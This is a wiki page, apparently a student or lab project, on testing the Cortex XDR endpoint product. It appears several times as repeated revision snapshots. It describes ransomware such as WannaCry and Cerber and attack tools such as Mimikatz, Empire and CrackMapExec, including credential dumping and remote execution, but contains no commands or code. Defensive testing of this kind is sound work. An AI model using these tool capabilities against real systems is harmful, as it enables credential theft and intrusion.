#*For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:48:12Z

AAmmann: /* Pentesting With Cortex XDR */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

=== Installation ===

# From Cortex XDR, select Endpoints → Agent Installations.
# Create a new installation package.
# Enter a unique Name and an optional Description to identify the installation package.
# Select the Package Type.

#*Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

#*Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

#*(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

#*Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

# Specify the installation package settings.
# Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
# Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
#*For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

#*For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

#*For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:46:53Z

AAmmann: /* Pentesting With Cortex XDR */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

# From Cortex XDR, select Endpoints → Agent Installations.
# Create a new installation package.
# Enter a unique Name and an optional Description to identify the installation package.
# Select the Package Type.

*Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

*Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

*(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

*Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

# Specify the installation package settings.
# Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
# Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
*For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

*For macOS endpoints, download the ZIP installation folder and upload it to the endpoint. To deploy the Cortex XDR agent using JAMF, upload the ZIP folder to JAMF. Alternatively, to install the agent manually on the endpoint, unzip the ZIP folder and double-click the pkg file.

*For Linux endpoints, you can download .rpm or .deb installers (according to the endpoint Linux distribution), and deploy the installers on the endpoints using the Linux package manager. Alternatively, you can download a Shell installer and deploy it manually on the endpoint.

== Used Hardware ==

HP Notebook

== Used Software ==

* Cortex XDR
* WannaCry Ransomware
* Cerber Ransomware
* Gentilkiwi / Mimikatz
* BC-Security / Empire
* Porchetta-Industries / CrackMapExec

== Results ==

Cortex XDR was able to prevent all attacks including the real ransomware execution mentioned in the "Ransomware" section. We got a precise analysis of processes which were considered abnormal or malicious. Cortex XDR recognizes behaviour related to known exploits which is then reported and blocked immediately.

== References ==

*https://docs-cortex.paloaltonetworks.com/r/Cortex-XDR/7.9/Cortex-XDR-Agent-Administrator-Guide
*https://github.com/gentilkiwi/mimikatz
*https://github.com/Porchetta-Industries/CrackMapExec
*https://github.com/BC-SECURITY/Empire
*https://www.avast.com/de-de/c-cerber#:~:text=Link%20kopiert-,Was%20ist%20die%20Cerber%20Ransomware%3F,Sie%20wird%20eine%20L%C3%B6segeldzahlung%20verlangt.
*https://de.wikipedia.org/wiki/WannaCry
*

[[Category:Documentation]]

Endpoint security using Cortex XDR

2023-02-03T16:45:21Z

AAmmann: /* Pentesting With Cortex XDR */

== Summary ==

Endpoint security is a critical component of an organization's overall security strategy. It involves protecting devices such as laptops, smartphones, and servers from threats that can compromise the confidentiality, integrity, and availability of sensitive data. Cortex XDR is a next-generation endpoint security solution that provides advanced threat detection and response capabilities to help organizations protect their endpoints from a wide range of threats, including malware, ransomware, and advanced persistent threats (APTs).

Cortex XDR uses a combination of artificial intelligence and machine learning algorithms to detect and respond to threats in real-time. It continuously monitors network traffic and endpoints for suspicious activity and immediately alerts security teams to potential threats. Additionally, Cortex XDR provides detailed forensic analysis and incident response capabilities, allowing organizations to quickly contain and remediate threats.

With Cortex XDR, organizations can proactively protect their endpoints from known and unknown threats, and quickly respond to any incidents that do occur. This helps to minimize the risk of data breaches and ensure that sensitive information remains secure.

Cortex XDR can be used in conjunction with other security solutions, such as firewalls, intrusion detection and prevention systems, and security information and event management (SIEM) platforms, to provide a comprehensive security posture for the organization. It also provides a simplified, centralized management console for security teams to easily manage and monitor their endpoint security posture.

In summary, Cortex XDR is a powerful endpoint security solution that uses artificial intelligence and machine learning to detect and respond to threats in real-time, and provides incident response and forensic analysis capabilities to help organizations quickly contain and remediate threats, while providing a centralized, easy-to-use management console for security teams.

== Description ==

Endpoint security pentesting is a process of testing the security of endpoint devices, such as laptops, desktops, and servers, to identify vulnerabilities and assess the overall security of an organization's endpoint infrastructure.

Endpoint security pentesting can include a variety of different techniques and tools, such as:

* Vulnerability scanning: Identifying known vulnerabilities on endpoint devices
* Social engineering: Attempting to trick users into providing sensitive information or executing malicious code
* Application testing: Identifying vulnerabilities in software installed on endpoint devices
* Physical security testing: Attempting to gain unauthorized access to endpoint devices through physical means
* Network testing: Identifying vulnerabilities in the network infrastructure that could be used to compromise endpoint devices

The goal of endpoint security pentesting is to identify and prioritize vulnerabilities, so that they can be remediated before they are exploited by attackers. This can include providing recommendations for mitigating vulnerabilities, as well as recommendations for improving overall security practices.

It is important for organizations to regularly perform endpoint security pentesting to ensure that their endpoint infrastructure is secure. The results of the pentest can be used to improve the security posture of the organization and to prioritize security investments.

It is important to note that using any tool or method that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.

== Ransomware ==

Ransomware is a type of malware that encrypts a victim's files and demands a ransom payment in exchange for the decryption key. The payment is typically demanded in the form of cryptocurrency, such as Bitcoin, and is often accompanied by a deadline for payment. Ransomware is typically spread through phishing emails or by exploiting vulnerabilities in software. It can cause significant financial and operational damage to individuals and organizations.

Ransomware attacks can be particularly damaging to businesses, as they can disrupt operations and result in the loss of important data. In some cases, the ransom may be too high for the organization to afford, and they may be forced to pay it. In other cases, the organization may choose to not pay the ransom and instead restore their systems from backups or try to decrypt the files using other methods. Some Ransomware also have a double extortion mechanism, where they also steal data from the organization and threaten to release it publicly if the ransom is not paid. It is important for individuals and organizations to regularly backup their data and to keep their software and systems up to date to reduce the risk of falling victim to a ransomware attack.

=== Cerber Ransomware ===

Cerber is a type of ransomware that was first discovered in 2016. It is known for its use of advanced tactics to evade detection and to spread to other computers on a network. One of the tactics is the use of exploit kits to take advantage of vulnerabilities in software. It also uses a double extortion mechanism, where it steal data from the organization and threaten to release it publicly if the ransom is not paid.
Cerber is typically distributed through spam emails or via malicious websites that exploit vulnerabilities in web browsers and other software. Once a computer is infected, the malware encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files.
It is important to note that paying the ransom does not guarantee the recovery of the encrypted files and it is advisable to try to restore the data from backups or other means.

=== WannaCry Ransomware ===

WannaCry is a type of ransomware that was first discovered in May 2017. It quickly spread globally, causing widespread disruption to businesses, hospitals and other organizations. WannaCry was notable for its use of a specific exploit called EternalBlue, which was developed by the US National Security Agency (NSA) and leaked to the public by a hacking group called the Shadow Brokers. The exploit targeted a vulnerability in Microsoft Windows operating systems, allowing the ransomware to spread rapidly across networks.
Once a computer was infected, WannaCry encrypts files on the computer and on any connected network drives, making them inaccessible to the victim. A ransom note is then displayed, instructing the victim to pay a ransom in order to regain access to the encrypted files. The ransom payment was demanded in Bitcoin and the attackers threatened to double the ransom if it was not paid within three days.
WannaCry caused significant damage and disruption to organizations worldwide, and it was estimated that the total cost of the attack exceeded $4 billion. Microsoft had released a patch for the vulnerability before the outbreak, but many systems had not yet been updated, highlighting the importance of keeping software up to date.

== Tools ==

=== Cortex XDR ===

Cortex XDR is a security solution developed by Palo Alto Networks that provides advanced threat detection and response capabilities. It combines multiple security technologies, including endpoint protection, network security, and cloud-based threat intelligence, to provide a comprehensive view of an organization's security posture.

Cortex XDR uses machine learning and behavioral analytics to detect and respond to advanced threats, such as ransomware and APTs (Advanced Persistent Threats), in real-time. The platform also allows for automated incident response, which enables security teams to quickly contain and remediate threats.

Cortex XDR also integrates with other security solutions, such as firewalls, to provide a unified view of security across an organization's entire infrastructure. This allows security teams to quickly identify and respond to threats, even if they are spread across multiple systems and networks.

The Cortex XDR platform also includes a cloud-based management console, which enables security teams to monitor and manage security across multiple locations and devices. It allows security teams to identify, investigate and respond to security incidents across all users, devices, and networks with a single console.

=== Mimikatz ===

Mimikatz is a tool that is used to extract sensitive information, such as login credentials, from Windows systems. The tool is often used by attackers to gain access to systems and networks after they have successfully compromised a system. Mimikatz is able to extract information from the Windows operating system's memory, and it can be used to extract credentials from a wide range of applications, including web browsers, email clients, and other software.

Mimikatz can extract a variety of information, including:

* Passwords stored in memory
* Encryption keys
* Hashes of passwords
* Kerberos tickets
* Credentials for services and scheduled tasks

Mimikatz can also be used to perform actions such as:

* Changing a password for a user account
* Adding new user account
* Dumping the LSASS process memory.

Mimikatz is considered a powerful and dangerous tool, and its use in an unauthorized manner is illegal in some countries. It is important for organizations to be aware of the presence of Mimikatz and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== BC-Security / Empire ===

Empire is a post-exploitation framework, often used by penetration testers and red teamers to perform various tasks on a compromised system. Empire is based on the PowerShell scripting language and it is a popular tool among attackers because of its ability to execute arbitrary PowerShell commands and scripts, and its ability to perform various post-exploitation tasks such as privilege escalation, key logging, and network reconnaissance.

Empire is a modular framework that allows users to easily create and execute custom modules, making it a powerful and flexible tool. Empire also has the ability to communicate with a command and control (C2) server, which can be used to remotely control a compromised system.

Empire is often used in combination with other tools such as Metasploit, Mimikatz, and Cobalt Strike to perform advanced attacks.

It is important for organizations to be aware of the presence of Empire and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

=== Porchetta-Industries / CrackMapExec ===

CrackMapExec (CME) is a tool that is used to perform network reconnaissance and attack execution. It is often used by penetration testers and red teamers to enumerate and attack Windows-based systems on a network. CME is based on the SMB (Server Message Block) protocol, which is used to provide shared access to files, printers, and other resources on a network.

CME can perform various tasks, including:

Enumerating users, groups, and computers on a network
Dumping password hashes for offline cracking
Executing arbitrary commands or scripts on remote systems
Attempting to authenticate to remote systems using a list of provided credentials
CME is a powerful and fast tool, which can be used to quickly gather information about systems on a network. It is important for organizations to be aware of the presence of CME and other similar tools on their systems, and to take steps to protect against their use. This can include regularly monitoring systems for suspicious activity, implementing strong access controls, and regularly updating software to patch known vulnerabilities.

It is important to note that using CME or any other tool that attempts to gain unauthorized access to systems is illegal in many countries and should only be used with explicit permission from the owner of the system.
==Pentesting With Cortex XDR ==

1- From Cortex XDR, select Endpoints → Agent Installations.
2- Create a new installation package.
3- Enter a unique Name and an optional Description to identify the installation package.
4- Select the Package Type.

*Standalone Installers—Use for fresh installations and to Upgrade Cortex XDR Agents on a registered endpoint that is connected to Cortex XDR.

*Upgrade from ESM—Use this package to upgrade Traps agents which connect to the on-premises Traps Endpoint Security Manager to Cortex XDR. For more information, see Migrate from Traps Endpoint Security Manager.

*(Linux only) Kubernetes Installer—Use for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

*Helm Installer—Use this package for fresh installations and upgrades of Cortex XDR agents running on Kubernetes clusters.

5- Specify the installation package settings.
6- Create the installation package.

Cortex XDR prepares your installation package and makes it available on the Agent Installations page.
7-Download your installation package.

When the status of the package shows Completed, right-click the agent version, and click Download.
*For Windows endpoints, select between the architecture type. You can download the installer msi file only, or for Cortex XDR agents 7.4 and later, a distribution package that includes both the installer msi file and the latest content zip. The distribution package is recommended to reduce the network load and time typically required for the initial roll-out or major upgrades of the Cortex XDR agent. To understand the benefits, workflow, and requirements to support this type of deployment, refer to the Cortex XDR Agent Administrator Guide.

